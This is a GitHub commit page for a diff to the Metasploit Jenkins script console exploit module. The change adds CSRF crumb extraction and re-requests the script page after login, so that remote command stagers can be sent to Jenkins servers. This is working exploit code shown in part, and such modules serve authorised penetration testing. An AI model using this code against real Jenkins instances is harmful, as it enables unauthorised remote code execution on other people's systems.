Skip to content

Commit f886ab6

Browse files
committed
Land rapid7#4020, Jenkins-CI CSRF token support
2 parents 74ac160 + 4976b9a commit f886ab6

File tree

1 file changed

+11
-2
lines changed

1 file changed

+11
-2
lines changed

modules/exploits/multi/http/jenkins_script_console.rb

Lines changed: 11 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -80,6 +80,7 @@ def http_send_command(cmd, opts = {})
8080
}
8181
}
8282
request_parameters['cookie'] = @cookie if @cookie != nil
83+
request_parameters['vars_post']['.crumb'] = @crumb if @crumb != nil
8384
res = send_request_cgi(request_parameters)
8485
if not (res and res.code == 200)
8586
fail_with(Failure::Unknown, 'Failed to execute the command.')
@@ -135,7 +136,6 @@ def linux_stager
135136
@to_delete = "/tmp/#{file}"
136137
end
137138

138-
139139
def exploit
140140
@uri = target_uri
141141
@uri.path = normalize_uri(@uri.path)
@@ -145,6 +145,7 @@ def exploit
145145
fail_with(Failure::Unknown) if not res
146146

147147
@cookie = nil
148+
@crumb = nil
148149
if res.code != 200
149150
print_status('Logging in...')
150151
res = send_request_cgi({
@@ -159,14 +160,22 @@ def exploit
159160
})
160161

161162
if not (res and res.code == 302) or res.headers['Location'] =~ /loginError/
162-
fail_with(Failure::NoAccess, 'login failed')
163+
fail_with(Failure::NoAccess, 'Login failed')
163164
end
164165
sessionid = 'JSESSIONID' << res.get_cookies.split('JSESSIONID')[1].split('; ')[0]
165166
@cookie = "#{sessionid}"
167+
168+
res = send_request_cgi({'uri' => "#{@uri.path}script", 'cookie' => @cookie})
169+
fail_with(Failure::Unknown) unless res and res.code == 200
166170
else
167171
print_status('No authentication required, skipping login...')
168172
end
169173

174+
if (res.body =~ /"\.crumb", "([a-z0-9]*)"/)
175+
print_status("Using CSRF token: '#{$1}'");
176+
@crumb = $1;
177+
end
178+
170179
case target['Platform']
171180
when 'win'
172181
print_status("#{rhost}:#{rport} - Sending command stager...")

0 commit comments

Comments
 (0)